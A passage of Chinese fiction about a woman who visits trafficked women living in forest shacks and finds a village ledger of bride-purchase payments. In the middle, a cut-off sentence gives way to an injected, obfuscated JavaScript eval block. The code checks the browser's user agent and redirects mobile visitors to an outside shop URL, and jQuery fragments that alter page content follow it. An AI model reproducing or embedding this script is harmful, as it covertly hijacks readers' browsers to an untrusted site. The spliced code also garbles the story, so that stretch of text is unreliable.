第八天天还没亮透她就推开了屋门。
晨光在云层边缘镶了一道极细的白线，村子还睡在灰蓝色的暗里，只有后山方向那层深绿色的树冠轮廓开始从天幕上浮现出来。
她在门口站了一小会儿，把口袋里那根铁丝和旧报纸碎片的位置重新确认了一遍，然后沿着屋前那条路往村尾走去。
她穿过落叶带的时候步子比昨天快。
晨光从她背后照过来，把她的影子在落叶表面拉成一道细长的深色线条。
林缘那棵树的磨痕在清晨的光线里泛着一层湿润的色泽，夜里的露水还没有完全干透，摸上去微微发凉。
她跨过那道线走进密林的时候枝叶上的露水顺着叶片边缘滑落，有几滴落在她肩膀和头发上。
林子里的光线比外面暗很多。
她放慢步子顺着昨天走出来的那条小径往里走，脚踩在落叶层上发出那种湿润的闷响。
大约走了不到一盏茶的工夫她就看见了第一座窝棚的轮廓，木板顶上的枯草在晨光里泛着一层灰白的底色。
门帘还垂着，昨天那行刻在门框上的字在斜照的光线里格外清晰。
她站在门口侧耳听了一下，帘子后面有极轻的呼吸声，像有人在里面贴着门帘坐着，呼吸放得又浅又慢。
她蹲下来把口袋里的铁丝和旧报纸碎片拿出来放在门口的地面上，然后又从口袋里掏出一样东西放在那两样旁边：
一小块从昨天那叠衣服上拆下来的干净布条。
她把它们并排摆好，然后退了两步坐在一棵倒下的枯木上，没有催。
门帘过了很久才动。
先是帘子底部被什么从里面顶起来了一小截，露出一道窄窄的缝隙，然后是两只手从缝隙里伸出来，把那三样东西慢慢收进去了。
手收回之后帘子重新垂下，里面安静了一会儿。
又过了一阵子，帘子从侧面被掀开了一条缝，露出一只眼睛。
那只眼睛在暗处打量了她很久，然后帘子被拉开了更宽一些，整张脸露了出来。
是个女人。
脸上瘦得只剩一层皮贴着骨骼轮廓，颧骨和下颌的线条尖锐而分明，但五官的骨架是清秀的，额前有一绺头发用红绳扎了一下，跟那天她在林缘看到的手腕上的红绳是同一种颜色。
她看着碎烬辞，嘴唇动了一下又合上了，像嗓子里有什么东西卡着，要发一个音得先把它咽下去。
碎烬辞没有看她很久。
她移开视线，落在门框旁边那棵树的根部，那样对方就不会觉得被紧盯着。
她等那个女人自己调整好了。
过了很长一段时间，那个女人开口了。声音极轻，像嗓子很久没用过，气声多过字音："你是外面来的。"
"嗯。"
"你怎么进来的。"
"走来的。"
女人沉默了一下。
她垂着眼，目光落在地面上那三样东西上，那根铁丝被她捏在手里反复转着，弯钩的那头朝上。
"昨天在林子里的那些人。"她说，声音比刚才稍微大了一点，"你看见她们了。"
"看见了。"
"她们怕你。"
碎烬辞没有回答。
她只是坐在那里，等着。那个女人把铁丝攥进掌心里攥了一会儿，然后松开了，像下了一个决心。
"我叫陈芳。"她说。那两个字的发音在她嗓子眼里有些不稳，像是很久没有把这两个字连在一起说出口了。
"你还会回村子去吗。"陈芳问。
她的目光在碎烬辞身上停了一下又移开，像在一边说话一边观察周围有没有别的声音。
"会。"
"那你不要告诉村里人你见过我。"
她说完这句话之后停顿了一下，像是在等碎烬辞接话，但碎烬辞没有接。
她又沉默了一会儿才继续往下说，声音比刚才更轻，像在自言自语。
"他们现在不太到这边来了，但他们有时候会在林子边上转。如果有人告诉他们有人在林子里跟山魈说话，他们就会进来。"
"山魈。"
陈芳笑了一下。
那笑容的幅度极小，嘴角往上提了不到半寸就收了回去，只够让她嘴角的纹路变了一下形状。
"他们叫我们山魈。
从我们进这个村的第一天起就叫。
叫久了他们自己信了。
叫久了我们有时候也信了。"
她说"我们"的时候语气顿了一下，像这个词本身就带着一层微苦的后味。
她侧了侧头看了林子深处某个方向一眼，然后又看回碎烬辞。"你想问什么。"
"你哪一年进来的。"
"1998。"
她回答得很快，像这个数字她已经说过很多遍了。
说出口之后她缩了缩肩膀，像这个数字每次说出来都让她冷了一下。
"那年我十九。别人说带我去云南打工。
下了火车换汽车，汽车换拖拉机，拖拉机换走路。
走了两天两夜到这个地方。到了之后有人把我关进了一间屋里，告诉我这是我以后的家。"
"生了几个孩子。"
"四个。"
她说这两个字的时候声音没有颤。
"第一个是男孩。第二个也是。
第三个女孩，没活过满月。
第四个还是女孩，活下来了，被他们抱走了。
三年前他们把她送了人，说是给邻村一家没孩子的。
我不确定她还在不在。"
她说完这句话之后停了很久。
碎烬辞坐在枯木上没有催。风从枝叶之间穿过去发出细碎的沙沙声，露水从高处滴落在落叶上的声响一下一下的。
"昨天给你那张纸的，是小梅。"
陈芳忽然说。她的声音比之前更轻了。
"她来的时候比我晚几年，从贵州那边过来的。
她不喜欢说话，但她在纸上写的字多。
你看见那个窝棚旁边刻的字了，那是她刻的。"
"刻的是'想走'。"
"对。"
陈芳点了点头。
"她刻了很多次。
有一回她用碎玻璃把手腕割了，血流了一地，没死成。
从那以后她身上那根铁丝被收走了，但她又找了一根新的。就是昨天给你的那根。"
碎烬辞从口袋里把昨天那张叠好的纸取出来，展开来放在膝盖上。
纸面上的字在晨光里很清晰：
"你看见我们了。不要告诉村子里的人。"
她看了一会儿，把纸重新叠好放回去。
"林子深处还有几个。"
陈芳说。
"最里面那个窝棚住了两个人，她们俩是一起被卖进来的，同一个买家买的。
一个是四川人，一个是广西人。
广西那个上个月生了，孩子被抱走了，她一直在发烧。
四川那个守着她，哪都不去。"
碎烬辞站起来。"我去看看她们。"
陈芳看着她，像在判断这句话的分量。
过了一会儿她侧了侧身，露出背后一条更窄的小径，地面上落叶较少，露出底下的泥土和树根。
"顺着这条路走到头就是。别走岔了，岔路那边有陷坑，是村里人以前挖的，用树枝盖着。"
碎烬辞顺着她指的方向往前走。
小径两侧的枝条交错得密，她侧着身从中间穿过去，走了大约一盏茶的工夫就看见了那座窝棚。
比前面两座都小，顶上的枯草塌了半边，露出下面发黑的木板，墙壁是用碎石垒起来的，缝隙里塞着泥和干苔。
门口地面上有一排石头摆成了一个半圆的形状，像是一圈简陋的座位。
窝棚里面传出来一阵极轻的哼声，不是哭，不是叫，是一种持续的低音，像一个人缩在角落里自己反复哼着同一段什么。
她站在门口听了一会儿，然后弯腰从门帘旁边的空隙往里看。
里面很暗，但她看见窝棚的泥地上铺着一层旧布，布上躺着一个人，蜷着身子面朝墙壁。
另一个人坐在她旁边，背靠着墙，膝盖上搭着一双手，正低着头看地上的人。
哼声是从坐着的那个人嘴里发出来的，节奏极慢，像在哼一首她记不全的曲子。
碎烬辞在门口蹲了下来。
"外面有人。"她说。
声音不大，但没有刻意压低。
里面的哼声停了一下，然后重新响起来，比之前更轻。
坐着的那个人偏了偏头，看了门口一眼，又别开了。
躺着的人没有动，但呼吸顿了一拍，像是听见了。
"我没有恶意。"碎烬辞说。
坐着的那个人沉默了一会儿。
然后她开口了，声音粗哑，像是用嗓子的最深处在发声：
"你是外面来的。"
"嗯。"
"你怎么找到这儿的。"
"陈芳指的路。"
那人听到"陈芳"两个字的时候肩膀松了一点点。
她重新偏过头来看了碎烬辞一眼，这一次目光停留的时间更长了一些。
她看起来比陈芳年长，眼角的纹路更深，头发用一根旧布条束在脑后，几缕碎发散在脸侧。"她还好吗。"
"她还在前面的窝棚里。"
那人点了点头。
她低头看了一眼地上躺着的人，伸手把盖在那人身上的一件旧外套往上拉了拉，盖住露出来的肩膀。
"她烧了好几天了。"她说。"没有药。我们只有水。"
碎烬辞从口袋里摸出一片从卫生所门口捡来的塑料袋折成的薄片，里面包着几粒退烧药。
前天她在卫生所外面窗台上看见的，散落在那里的，她捡了四粒。
她把塑料片放在门口地面上，然后退了两步。
那人看了那包药很久。然后她慢慢挪过来，伸手把那包药收了进去。
她低头拆开塑料片看了看里面的药粒，没有立刻用，先收进了怀里。"你叫什么。"她问。
"碎烬辞。"
"你还会再来吗。"
"会。"
那人没有再说话。
她挪回躺着的人旁边，把那包药放在自己膝盖上，重新低头看着地上的人。
碎烬辞站起来顺着原路往回走，经过陈芳的窝棚时看见门帘还掀着，陈芳还坐在门口，手里捏着那根铁丝在指间转来转去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731420|208960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
"我明天再来。"碎烬辞说。
陈芳点了点头。
碎烬辞沿着来路穿过密林走回了林缘，走出林子的时候日光已经升到了树冠上方，照亮了整片落叶带和坡地。风从村子方向吹过来，裹着炊烟和干柴的气味。
她站在林缘站了一会儿，拍了拍身上的碎叶和泥土，然后顺着坡地走回了村子的方向。
回到自己那间屋子的时候她发现门口地面上放着一只粗瓷碗，碗底压着一张纸条。
纸条上的字迹她不认识，笔画粗，像是用木棍蘸着什么写的："村会计刘老三家，后墙第三块砖松了。"
她把纸条收进内袋里，跟其他东西放在一起。
下午她绕到了村会计家屋后。
那排土坯房的后墙被日光晒得发暖，墙面上爬着几根干枯的藤蔓。她从墙头数到第三块砖的位置，伸手按了一下。
那块砖果然松动了，往里退了一截，露出后面一个窄窄的空洞。她伸手进去摸到了一叠纸，用牛皮纸裹着，卷得很紧。
她把它抽出来塞进外套里侧，把砖推回了原位。
回到屋里她把那叠纸展开来。是一本手写的旧账簿，封面上用圆珠笔写着"收支"两个字，年份标的是二十多年前的开头。
她翻开账页，前面几页是正常的村务记录，买化肥、修路、上交提留款之类的内容。
但她翻到中间部分的时候，字迹和格式变了。
每一页的抬头写着"娶亲费"三个字，下面列着日期和金额，金额从几千到几万不等，旁边用铅笔备注了来源地的地名缩写。
云南本地的有几个，四川的更多一些，贵州和广西的也有。每一笔旁边还标注了一个姓氏。
她数了数，一页大约三四条记录，这样的页面持续了十几页。
她合上账簿，把它和其他东西放在一起。
窗外的日光已经从正午的直射偏到了西斜的角度，把窗台上的影子拉成了一道斜长的浅灰色。
她在床沿坐了一会儿，双手搁在膝盖上，手指微微攥着又松开。
她低头看着自己摊开的掌心，指腹上还沾着从窝棚门口带回来的泥土和灰，干透了之后结成一层薄薄的暗褐色。
她把掌心在裤腿上蹭了蹭，站起来走出了屋子。
村子里的光线在下午的末段呈现出一种暖沉的色调，把土坯墙的墙面都染成了深黄色。
她经过村口那棵老槐树的时候看见了村长，他站在树荫底下，手里没有烟杆，垂着手站在那里像在等人。
他看见她走过来的时候朝她点了点头，神情平静，跟之前几次见面的表情差别不大。
"你还在村里。"他说。
"快了。"碎烬辞说。
他沉默了一下。
槐树的叶子被风吹动的时候在地面上投出一片晃动的碎影。
他看了她一眼，那一眼里带着一种她之前没有从他身上见过的东西，很淡，像一扇门被推开了一道细缝又立刻合上。
"后山那些声音，"他说，声音比他平时说话低一些，"你听见了吧。"
"听见了。"
"你觉得那是什么。"
"你觉得呢。"
村长没有回答。他低头看了看自己的鞋尖，鞋面上沾了一层干透的泥。
他沉默了很久，久到风把槐树上的几片叶子吹落下来，在他脚边打了几个旋。
"有些事情，你想管，管不了。"
他说完这句话之后站直了身子，背着手转身走了。
他的步子比平时慢，肩膀微微往前倾着，像身上背着什么看不见的东西。
碎烬辞站在槐树底下看着他走远，那道影子在落日的光里被拉得很长，一直拖到他拐进巷口为止。
天黑之前她又去了一次那扇铁皮门。
门关着，门缝里透出来的光比前几天更亮一些，像点了两盏灯。
她站在门外几步远的地方停了一下，听见门后有说话声。一个男声在说，语气平，像在交代事情。
另一个声音是女声，应了一声，音量很低。
然后门后安静了。她站在那里听了一会儿，没有等到更多声音，就转身走了。
夜里的风从后山方向灌过来的时候，她把那本账簿放在膝盖上又翻了一遍。
在那些记录的后半部分，有几笔后面用铅笔划了一道线，线旁边写着"已故"两个字，字迹跟其他备注不同，像是后来补上去的。
她数了数，带"已故"标注的有三条。她把那几页折了一下做了记号，合上账簿重新用牛皮纸裹好塞回床底下的缝隙里。
她靠着床头坐了一会儿。
后山方向的低频背景音比前几夜轻了一些，但还在。
尖啸声没有出现，取而代之的是更持续的风声和枝叶晃动声。
她闭上眼睛听着那层声音，用耳朵分辨里面的层次，风声下面有一层极细极薄的余响，像人声在高处被风扯碎了之后留下的残片。
她在那个余响里辨认出了一个词的轮廓，隔着密林和夜雾传过来的时候已经被磨得只剩音节的骨架了，但她顺着那段骨架拼了出来：
像是一个字的重复，反复的、不知道是说给谁听的、已经被说出来太多遍以至于只剩下气声的一个字。